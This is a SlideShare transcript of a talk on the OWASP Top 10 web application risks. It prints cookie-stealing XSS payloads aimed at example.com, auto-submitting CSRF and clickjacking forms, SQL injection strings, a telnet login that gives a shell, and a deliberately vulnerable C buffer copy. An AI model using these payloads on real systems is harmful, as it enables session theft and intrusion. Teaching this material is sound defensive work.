SlideShare ist ein Scribd-Unternehmen logo
1 von 72
Downloaden Sie, um offline zu lesen
The top 10 security issues
   in web applications
     ir. Walter Belgers, CISSP, CISA
Walter Belgers

• Principal Security Consultant and
  Partner at Madison Gurkha B.V.
• Close to 20 years of professional experience
  in technical IT security
• Madison Gurkha supports organisations with high
  quality services to efficiently identify, decrease and
  prevent IT security risks


 • With a focus on technical security aspects
• Non-profit organisation
• 70 local chapters
• Develop several tools (a.o. WebScarab, LiveCD)
• Spread knowledge (Webgoat, documentation)
• Methodology (testing) / legal / ...
• OWASP TOP-10
OWASP TOP-10 2010
A1 - Injection                A6 - Security Misconfiguration

A2 - Cross Site Scripting     A7 - Insecure Cryptographic
(XSS)                         Storage

A3 - Broken Authentication    A8 - Failure to Restrict URL
and Session Management        Access

A4 - Insecure Direct Object   A9 - Insufficient Transport
References                    Layer Security

A5 - Cross Site Request       A10 - Unvalidated Redirects
Forgery (CSRF)                and Forwards
A10 - Redirects

• The site sends you to a URL that can be
  manipulated
• That in turn can be encoded in a normal looking
  URL
• Phishing attack
A9 - TLS

• HTTP versus HTTPS
• Protocol: SSLv2, SSLv3, TLSv1
• Crypto-algorithm: several
• Certificates
• Marking session cookies as ‘secure’
A9 - TLS

• The purpose of SSL
 • Actually only useful for untrusted
    (WiFi-)networks
  • Do you pay attention all of the time?
  • VPN
• Firefox (Chrome) plugin: perspectives
A8 - Restricting URL’s

• Page can be retrieved without authentication
 • Programming error
• Page can only be retrieved if you know the “secret
  URL”
  • “Security through obscurity”
<script language="javascript">
<!--//
/*This Script allows people to enter by using a form that asks for a
  UserID and Password*/

function pasuser(form) {
      if (form.id.value=="buyers") {
          if (form.pass.value=="gov1996") {
              location="http://officers.federalsuppliers.com/agents.html"
          } else {
              alert("Invalid Password")
          }
      } else { alert("Invalid UserID")
      }
}
//-->
</script>
Real-life example

if (Pressed=”Update”) {
    if (top.content.Rights==”user”) {
        alert(“You are not authorized!”);
        return(-1);
    }
    ...
}
A7 - Crypt. Storage


• Data in a database should (maybe partially) be
  encrypted/hashed
  • Passwords, credit card data, ..
• Of importance when data leaks out
A6 - Misconfiguration

• Missing security patches
• Default users / programs
• Directory listings
• File access (uploads, .inc files)
• Elaborate error messages
Exploits

[~] walter> telnet -l '-fbin' 194.151.35.251
Trying 194.151.35.251...
Connected to blade.madison-gurkha.com.
Escape character is '^]'.
Last login: Tue Sep 25 09:52:33 from 194.151.35.85
Sun Microsystems Inc. SunOS 5.10        Generic January 2005
$ id
uid=2(bin) gid=2(bin)
$
-   Nikto v2.1.3/2.1.4
+   Target Host: www.<host>.nl
+   Target Port: 80
+   GET /0WAEdrRg.php: Retrieved x-powered-by header: ASP.NET
+   GET /0WAEdrRg.axd: Retrieved x-aspnet-version header: 2.0.50727
+   GET /robots.txt: robots.txt contains 36 entries which should be
      manually viewed.
+   HEAD /: Microsoft-IIS/6.0 appears to be outdated (4.0 for NT 4, 5.0
      for Win2k, current is at least 7.5)
+   GET /: Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+   GET /: Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+   GET /webmail/blank.html: /webmail/blank.html: IlohaMail 0.8.10
      contains an XSS vulnerability. Previous versions contain other
      non-descript vulnerabilities.
+   GET /webmail/: /webmail/: Web based mail package installed.
+   OSVDB-3093: GET /webmail/lib/
      emailreader_execute_on_each_page.inc.php: /webmail/lib/
      emailreader_execute_on_each_page.inc.php: This might be
      interesting... has been seen in web logs from an unknown scanner.
+   OSVDB-3093: GET /webmail/src/read_body.php: /webmail/src/
      read_body.php: This might be interesting... has been seen in web
      logs from an unknown scanner.
+   OSVDB-3092: GET /er/: /er/: This might be interesting... potential
      country code (Eritrea)
Configuration files
• Old files (x.bak, x.old, x~, Copy of x)
 • Google cache, Way Back machine
• .htaccess files
• /robots.txt
• Source revision control files
• Include files
 • PHP files not ending in .php
A5 - CSRF
• Cross Site
 • The attack page is on the site of the attacker
 • Must be visited (e-mail?)
• Request Forgery
 • Often a POST-request with specially
    constructed values
  • You have to be logged in to the target site
CSRF in a CMS

<form name=“csrf” action="http://cms.example.com/?page=/
    &action=admin&subaction=editgroups&groupname=admin" method="post"
<input type="hidden" name="txtUserEmail" value="myemail@example.com">
<input type="hidden" name="btnAddUserToGroup" value="Add User to Group">
</form>

<script>
document.csrf.submit();
</script>
Clickjacking

<iframe style="width: 0px; height: 0px; visibility: hidden"
    name="hidden"></iframe>

<form name="csrf" action="http://amazon.com/gp/product/handle-buy-box"
    method="post" target="hidden">
<input type="hidden" name="ASIN" value="059600656X" />
<input type="hidden" name="offerListingID" value="XYPvvbir%2FyHMyphE
    %2Fy0hKK%2BNt%2FB7%2FlRTFpIRPQG28BSrQ98hAsPyhlIn75S3jksXb3bdE
    %2FfgEoOZN0Wyy5qYrwEFzXBuOgqf" />
</form>

<script>document.csrf.submit();</script>
A4 - Insecure References


https://example.com/servlet/page?_pageid=44


http://example.com/showaccount.php?user=3
A4 - Insecure References

<form action=“housessince.cgi”>
<select name=“since”>
    <option value=“00”>today</option>
    <option value=“01”>yesterday</option>
    <option value=“07”>last week</option>
</select>
<input type=“submit”>
</form>
A3 - Broken Session Mgmt
• Is there a session timeout?
• How many simultaneous logins are allowed?
• Can you change systems within a session (different
  IP number)
• Is there a logout button?
• Are credentials sent using a secure connection?
  (A9)
• How often can you try logging in per user?
A3 - Broken Session Mgmt
• Do you get to know what was wrong when
  logging in fails?
• Does the server (also) invalidate the session
  cookie when logging out?
• Does the URL contain session id’s?
  https://example.com/prepaid/customer/
  login.html;jsessionid=F0382A6E8172DC7B8D90599B12AECE16


• Session fixation problems
A2 - XSS
• Cross Site
 • The victim’s browser redirects from the
    vulnerable site to the attacker’s site
• Scripting
 • This happens by executing JavaScript in the
    victim’s browser
• Goal: stealing session credentials (cookies)
Stored XSS

• The attacker can leave behind input that is being
  shown to (other) visitors of the site
  • Profile information
  • Messages
  • ...
Stored XSS

Your message:

This is my message.
<script>document.location=‘http://
example.com/’+document.cookie</script>
Reflected XSS


<a href=“http://example.com/comment.aspx?
text=This is my message.
<script>document.location=‘http://
example.com/’+document.cookie</script>”>This is
awesome!! Click here!</a>
Reflected XSS


<a href=“http%3A//example.com/comment.aspx
%3Ftext%3DThis%20is%20my%20message.%20%3Cscript
%3Edocument.location%3D%E2%80%98http%3A//
example.com/%E2%80%99+document.cookie%3C/script
%3E”>This is awesome!! Click here!</a>
Reflected XSS


<img src=“http%3A//example.com/comment.aspx
%3Ftext%3DThis%20is%20my%20message.%20%3Cscript
%3Edocument.location%3D%E2%80%98http%3A//
example.com/%E2%80%99+document.cookie%3C/script
%3E” />
A1 - Injection


• Problem: data gets mingled with “program code”
 • PHP, Perl, ..
 • But also: SQL, LDAP, ..
Old problem


• In-band signalling
• Well-known from
  telephony
• Hot again!                 foto: woz.org
Typical setup
    Internet
    Inernet




               HTTP
                                 www




                           SQL




    Internal
     Intern
    Internal
    network
    netwerk
    network           db
SQL injection

    Your name please: walter
    Name:         Balance:
    walter        €100



SELECT * FROM users WHERE name=“$name”
SELECT * FROM users WHERE name=“walter”
SQL injection

    Your name please:   ” OR “a”== “a
    Name:          Balance:
    walter         €100
    guido          €1000
    hans           €2000

SELECT * FROM users WHERE name=“$name”
SELECT * FROM users WHERE name=“” OR “a”==“a”
Real-Life Example
• Bank site
• With a search function
• We enter as search string:
  <script>alert(‘test’)</script>

• This running Macro ‘odbc’: Error in line 2: Incorrent syntax near
  Error
        yields:
   ‘test’. (SELECT nr, subject FROM pagedb WHERE (subject LIKE
   ‘%<script>alert(‘test’)</script>’ order by subject) (source:
   Microsoft OLE DB Provider for SQL Server)
SQL injection

• Input frut’) or 1=1-- yields all pages
• Input frut’) union select 0, @@version from
  pagedb-- yields information about the type of
  software being used
• Input frut’) union select dbid, name from
  master..sysdatabases-- yields a list of databases
Injection

• Input fields
• Are sometimes/often “secured” with JavaScript-
  code
• That code runs in the browser
 • If the user allows it to..
Injection

• In addition to input fields:
 • URL’s (GET requests)
 • Hidden fields (POST requests)
 • Cookies
 • Other data in the HTTP-headers (e.g. referer)
Local proxy
    Internet
    Inernet




               HTTP
                                 www




                           SQL




    Internal
     Intern
    Internal
    network
    netwerk
    network           db
WebScarab, Burp, Paros
Demo
Configuration

• Installation ≠ configuration
 • Remove example scripts
 • Set passwords where possible
 • Remove unnecessary files
 • (Hardening)
• A6, A9
Software
Patching
✓OS and some applications: automatic
x For a lot of additional software: not automatic
Patching


x For in-house developed software: ???
• Security audits
Input filtering

• Helps prevent A1, A2, A4, A8 and A10!
• Check all input before storing, processing or
  showing it
  • Data in URL’s, forms, cookies, HTTP-headers,
    etc.
Input filtering


• White-list filtering: only allow certain characters
• Black-list filtering: remove ‘dangerous’ characters
Black list filtering

            • <SCRIPT>
<script>    • <␣script>
            • %3Cscript>
            • “<sc”+“ript”>
            • <b onmouseover=“...”>
Escaping of output


• Rewriting ‘dangerous characters’
• For example &lt; instead of <
• The rewriting depends on where it must be done!
Escaping of output

• In the template: <p>%(foo)</p>
• We request: http://example.com/?
  foo=<script>alert(document.cookie)</script>
• We get: <p><script>alert(document.cookie)</
  script></p>
• Escaping: rewriting < > into &lt; &gt;
Escaping of output

• In the template: <input name=“foo” value=“%
  (foo)” />
• We request: http://example.com/?
  foo=”%20onmouseover=“alert(document.cookie)
• We get: <input name=“foo” value=“”
  onmouseover=“alert(document.cookie)” />
• Escaping: rewriting “ into &quot;
Escaping of output

• In the template: <script>var foo=‘%(foo)’, bar=‘%
  (bar)’;</script>
• We request: http://example.com/?foo=
  &bar=;alert(document.cookie);//
• We get: <script>var foo=‘’,
  bar=’;alert(document.cookie);//
Secure programming



• Can fix
  A3, A4
  A5, A7
Secure programming

• Not many programmers have a background in
  ‘secure programmin’
  main(int argc, char* argv[]) {
   char *buf[2000];
   int len;

      len = atoi(argv[1]);

      if (len > 2000) {
         printf("Too much input!n");
         exit(-1);
      }

      memcpy(buf, argv[2], len);
  }
Tips and tricks

• A2: use the ‘HttpOnly’ option for session cookies
• A3: generate a new session
  cookie on the login page
• A5: use a nonce
• Sometimes, a framework can help
What to do? (1)
• Learn programmers how to write secure code
• Create a security specification next to the
  functional specification
 • Also when the application is
    bought from a supplier
 • Abuse cases
• Auditing
What to do? (2)

• If All Else Fails... (and it will)
• Multiple layers of defense
   (prevention)
• Logging and monitoring (detection)
• Emergency plan (reaction)
Web application security

• There are no fantastic
  automated tools
• With a good brain and tools
  like Burp Suite, every
  web application can be
  tested well
walter@madison-gurkha.com

Weitere ähnliche Inhalte

Was ist angesagt?

Introduction to Web Server Security
Introduction to Web Server SecurityIntroduction to Web Server Security
Introduction to Web Server SecurityJITENDRA KUMAR PATEL
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internetRohan Bharadwaj
 
Types of attacks and threads
Types of attacks and threadsTypes of attacks and threads
Types of attacks and threadssrivijaymanickam
 
Types of Attack in Information and Network Security
Types of Attack in Information and Network SecurityTypes of Attack in Information and Network Security
Types of Attack in Information and Network Securitypadmeshagrekar
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Webdpd
 
Cyper security & Ethical hacking
Cyper security & Ethical hackingCyper security & Ethical hacking
Cyper security & Ethical hackingCmano Kar
 
What-is-computer-security
What-is-computer-securityWhat-is-computer-security
What-is-computer-securityiamvishal2
 
Web Server Security Guidelines
Web Server Security GuidelinesWeb Server Security Guidelines
Web Server Security Guidelineswebhostingguy
 
Basic Internet Security
Basic Internet SecurityBasic Internet Security
Basic Internet Securitymfaheemakhtar
 
Internet security
Internet securityInternet security
Internet securityat1211
 
Cyber crime introduction awareness program at st. xavier
Cyber crime introduction   awareness program at st. xavierCyber crime introduction   awareness program at st. xavier
Cyber crime introduction awareness program at st. xavierMo Han
 

Was ist angesagt? (20)

Introduction to Web Server Security
Introduction to Web Server SecurityIntroduction to Web Server Security
Introduction to Web Server Security
 
internet security
internet securityinternet security
internet security
 
Different types of attacks in internet
Different types of attacks in internetDifferent types of attacks in internet
Different types of attacks in internet
 
Web server security challenges
Web server security challengesWeb server security challenges
Web server security challenges
 
Types of attacks and threads
Types of attacks and threadsTypes of attacks and threads
Types of attacks and threads
 
Types of Attack in Information and Network Security
Types of Attack in Information and Network SecurityTypes of Attack in Information and Network Security
Types of Attack in Information and Network Security
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Web
 
New internet security
New internet securityNew internet security
New internet security
 
Internet security
Internet securityInternet security
Internet security
 
Cyper security & Ethical hacking
Cyper security & Ethical hackingCyper security & Ethical hacking
Cyper security & Ethical hacking
 
What-is-computer-security
What-is-computer-securityWhat-is-computer-security
What-is-computer-security
 
Web Server Security Guidelines
Web Server Security GuidelinesWeb Server Security Guidelines
Web Server Security Guidelines
 
Basic Internet Security
Basic Internet SecurityBasic Internet Security
Basic Internet Security
 
Cyber attack
Cyber attackCyber attack
Cyber attack
 
A to z of Cyber Crime
A to z of Cyber CrimeA to z of Cyber Crime
A to z of Cyber Crime
 
Netiquette
NetiquetteNetiquette
Netiquette
 
Internet security
Internet securityInternet security
Internet security
 
Cyber crime introduction awareness program at st. xavier
Cyber crime introduction   awareness program at st. xavierCyber crime introduction   awareness program at st. xavier
Cyber crime introduction awareness program at st. xavier
 
Ethical hacking
Ethical hackingEthical hacking
Ethical hacking
 
Web security by khubaib
Web security by khubaibWeb security by khubaib
Web security by khubaib
 

Andere mochten auch

Government Web Application Security: Issues and Challenges - A Case of India
Government Web Application Security: Issues and Challenges - A Case of IndiaGovernment Web Application Security: Issues and Challenges - A Case of India
Government Web Application Security: Issues and Challenges - A Case of IndiaEditor IJCATR
 
Application Security Trends and Issues
Application Security Trends and IssuesApplication Security Trends and Issues
Application Security Trends and IssuesDedi Dwianto
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Jeremiah Grossman
 
Web Security
Web SecurityWeb Security
Web SecurityADIEFEH
 
Client server security threats
Client server security threatsClient server security threats
Client server security threatsrahul kundu
 
Impact Of E Commerce On Business
Impact Of E Commerce On BusinessImpact Of E Commerce On Business
Impact Of E Commerce On BusinessMaryam A
 
Security issues in e business
Security issues in e businessSecurity issues in e business
Security issues in e businessRahul Kumar
 
Social Networking Security Issues
Social Networking Security IssuesSocial Networking Security Issues
Social Networking Security IssuesMangesh Gunjal
 
Hacking & its types
Hacking & its typesHacking & its types
Hacking & its typesSai Sakoji
 

Andere mochten auch (12)

Government Web Application Security: Issues and Challenges - A Case of India
Government Web Application Security: Issues and Challenges - A Case of IndiaGovernment Web Application Security: Issues and Challenges - A Case of India
Government Web Application Security: Issues and Challenges - A Case of India
 
3 pillars of ecommerce
3 pillars of ecommerce3 pillars of ecommerce
3 pillars of ecommerce
 
Application Security Trends and Issues
Application Security Trends and IssuesApplication Security Trends and Issues
Application Security Trends and Issues
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 
Web Security
Web SecurityWeb Security
Web Security
 
Client server security threats
Client server security threatsClient server security threats
Client server security threats
 
Impact Of E Commerce On Business
Impact Of E Commerce On BusinessImpact Of E Commerce On Business
Impact Of E Commerce On Business
 
Security issues in e business
Security issues in e businessSecurity issues in e business
Security issues in e business
 
Social Networking Security Issues
Social Networking Security IssuesSocial Networking Security Issues
Social Networking Security Issues
 
Hacking & its types
Hacking & its typesHacking & its types
Hacking & its types
 
E commerce ppt
E commerce pptE commerce ppt
E commerce ppt
 
E commerce
E commerceE commerce
E commerce
 

Ähnlich wie The top 10 security issues in web applications

Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012ZIONSECURITY
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfacesmichelemanzotti
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10Sastry Tumuluri
 
OWASP San Diego Training Presentation
OWASP San Diego Training PresentationOWASP San Diego Training Presentation
OWASP San Diego Training Presentationowaspsd
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshoptestuser1223
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)Nitroxis Sprl
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityMichael Coates
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionDaniel Owens
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processguest3379bd
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés RianchoCODE BLUE
 
What should I do when my website got hack?
What should I do when my website got hack?What should I do when my website got hack?
What should I do when my website got hack?Sumedt Jitpukdebodin
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSlawomir Jasek
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSecuRing
 

Ähnlich wie The top 10 security issues in web applications (20)

Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Rails Security
Rails SecurityRails Security
Rails Security
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
OWASP San Diego Training Presentation
OWASP San Diego Training PresentationOWASP San Diego Training Presentation
OWASP San Diego Training Presentation
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First Security
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
 
What should I do when my website got hack?
What should I do when my website got hack?What should I do when my website got hack?
What should I do when my website got hack?
 
null Bangalore meet - Php Security
null Bangalore meet - Php Securitynull Bangalore meet - Php Security
null Bangalore meet - Php Security
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 

Mehr von Devnology

What do we really know about the differences between static and dynamic types?
What do we really know about the differences between static and dynamic types?What do we really know about the differences between static and dynamic types?
What do we really know about the differences between static and dynamic types?Devnology
 
Meetup at SIG: Meten is weten
Meetup at SIG: Meten is wetenMeetup at SIG: Meten is weten
Meetup at SIG: Meten is wetenDevnology
 
Software Operation Knowledge
Software Operation KnowledgeSoftware Operation Knowledge
Software Operation KnowledgeDevnology
 
Slides Felienne Hermans Symposium EWI
Slides Felienne Hermans Symposium EWISlides Felienne Hermans Symposium EWI
Slides Felienne Hermans Symposium EWIDevnology
 
Devnology auteursrecht en open source 20130205
Devnology auteursrecht en open source 20130205Devnology auteursrecht en open source 20130205
Devnology auteursrecht en open source 20130205Devnology
 
Hacking Smartcards & RFID
Hacking Smartcards & RFIDHacking Smartcards & RFID
Hacking Smartcards & RFIDDevnology
 
Learn a language : LISP
Learn a language : LISPLearn a language : LISP
Learn a language : LISPDevnology
 
Learn a language : LISP
Learn a language : LISPLearn a language : LISP
Learn a language : LISPDevnology
 
Devnology Back to School: Empirical Evidence on Modeling in Software Development
Devnology Back to School: Empirical Evidence on Modeling in Software DevelopmentDevnology Back to School: Empirical Evidence on Modeling in Software Development
Devnology Back to School: Empirical Evidence on Modeling in Software DevelopmentDevnology
 
Devnology Back to School IV - Agility en Architectuur
Devnology Back to School IV - Agility en ArchitectuurDevnology Back to School IV - Agility en Architectuur
Devnology Back to School IV - Agility en ArchitectuurDevnology
 
Devnology Back to School III : Software impact
Devnology Back to School III : Software impactDevnology Back to School III : Software impact
Devnology Back to School III : Software impactDevnology
 
Devnology back toschool software reengineering
Devnology back toschool software reengineeringDevnology back toschool software reengineering
Devnology back toschool software reengineeringDevnology
 
Introduction to Software Evolution: The Software Volcano
Introduction to Software Evolution: The Software VolcanoIntroduction to Software Evolution: The Software Volcano
Introduction to Software Evolution: The Software VolcanoDevnology
 
Devnology Workshop Genpro 2 feb 2011
Devnology Workshop Genpro 2 feb 2011Devnology Workshop Genpro 2 feb 2011
Devnology Workshop Genpro 2 feb 2011Devnology
 
Devnology Coding Dojo 05-01-2011
Devnology Coding Dojo 05-01-2011Devnology Coding Dojo 05-01-2011
Devnology Coding Dojo 05-01-2011Devnology
 
Spoofax: ontwikkeling van domeinspecifieke talen in Eclipse
Spoofax: ontwikkeling van domeinspecifieke talen in EclipseSpoofax: ontwikkeling van domeinspecifieke talen in Eclipse
Spoofax: ontwikkeling van domeinspecifieke talen in EclipseDevnology
 
Experimenting with Augmented Reality
Experimenting with Augmented RealityExperimenting with Augmented Reality
Experimenting with Augmented RealityDevnology
 
Unit testing and MVVM in Silverlight
Unit testing and MVVM in SilverlightUnit testing and MVVM in Silverlight
Unit testing and MVVM in SilverlightDevnology
 
mobl: Een DSL voor mobiele applicatieontwikkeling
mobl: Een DSL voor mobiele applicatieontwikkelingmobl: Een DSL voor mobiele applicatieontwikkeling
mobl: Een DSL voor mobiele applicatieontwikkelingDevnology
 
Devnology Fitnesse workshop
Devnology Fitnesse workshopDevnology Fitnesse workshop
Devnology Fitnesse workshopDevnology
 

Mehr von Devnology (20)

What do we really know about the differences between static and dynamic types?
What do we really know about the differences between static and dynamic types?What do we really know about the differences between static and dynamic types?
What do we really know about the differences between static and dynamic types?
 
Meetup at SIG: Meten is weten
Meetup at SIG: Meten is wetenMeetup at SIG: Meten is weten
Meetup at SIG: Meten is weten
 
Software Operation Knowledge
Software Operation KnowledgeSoftware Operation Knowledge
Software Operation Knowledge
 
Slides Felienne Hermans Symposium EWI
Slides Felienne Hermans Symposium EWISlides Felienne Hermans Symposium EWI
Slides Felienne Hermans Symposium EWI
 
Devnology auteursrecht en open source 20130205
Devnology auteursrecht en open source 20130205Devnology auteursrecht en open source 20130205
Devnology auteursrecht en open source 20130205
 
Hacking Smartcards & RFID
Hacking Smartcards & RFIDHacking Smartcards & RFID
Hacking Smartcards & RFID
 
Learn a language : LISP
Learn a language : LISPLearn a language : LISP
Learn a language : LISP
 
Learn a language : LISP
Learn a language : LISPLearn a language : LISP
Learn a language : LISP
 
Devnology Back to School: Empirical Evidence on Modeling in Software Development
Devnology Back to School: Empirical Evidence on Modeling in Software DevelopmentDevnology Back to School: Empirical Evidence on Modeling in Software Development
Devnology Back to School: Empirical Evidence on Modeling in Software Development
 
Devnology Back to School IV - Agility en Architectuur
Devnology Back to School IV - Agility en ArchitectuurDevnology Back to School IV - Agility en Architectuur
Devnology Back to School IV - Agility en Architectuur
 
Devnology Back to School III : Software impact
Devnology Back to School III : Software impactDevnology Back to School III : Software impact
Devnology Back to School III : Software impact
 
Devnology back toschool software reengineering
Devnology back toschool software reengineeringDevnology back toschool software reengineering
Devnology back toschool software reengineering
 
Introduction to Software Evolution: The Software Volcano
Introduction to Software Evolution: The Software VolcanoIntroduction to Software Evolution: The Software Volcano
Introduction to Software Evolution: The Software Volcano
 
Devnology Workshop Genpro 2 feb 2011
Devnology Workshop Genpro 2 feb 2011Devnology Workshop Genpro 2 feb 2011
Devnology Workshop Genpro 2 feb 2011
 
Devnology Coding Dojo 05-01-2011
Devnology Coding Dojo 05-01-2011Devnology Coding Dojo 05-01-2011
Devnology Coding Dojo 05-01-2011
 
Spoofax: ontwikkeling van domeinspecifieke talen in Eclipse
Spoofax: ontwikkeling van domeinspecifieke talen in EclipseSpoofax: ontwikkeling van domeinspecifieke talen in Eclipse
Spoofax: ontwikkeling van domeinspecifieke talen in Eclipse
 
Experimenting with Augmented Reality
Experimenting with Augmented RealityExperimenting with Augmented Reality
Experimenting with Augmented Reality
 
Unit testing and MVVM in Silverlight
Unit testing and MVVM in SilverlightUnit testing and MVVM in Silverlight
Unit testing and MVVM in Silverlight
 
mobl: Een DSL voor mobiele applicatieontwikkeling
mobl: Een DSL voor mobiele applicatieontwikkelingmobl: Een DSL voor mobiele applicatieontwikkeling
mobl: Een DSL voor mobiele applicatieontwikkeling
 
Devnology Fitnesse workshop
Devnology Fitnesse workshopDevnology Fitnesse workshop
Devnology Fitnesse workshop
 

Kürzlich hochgeladen

Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
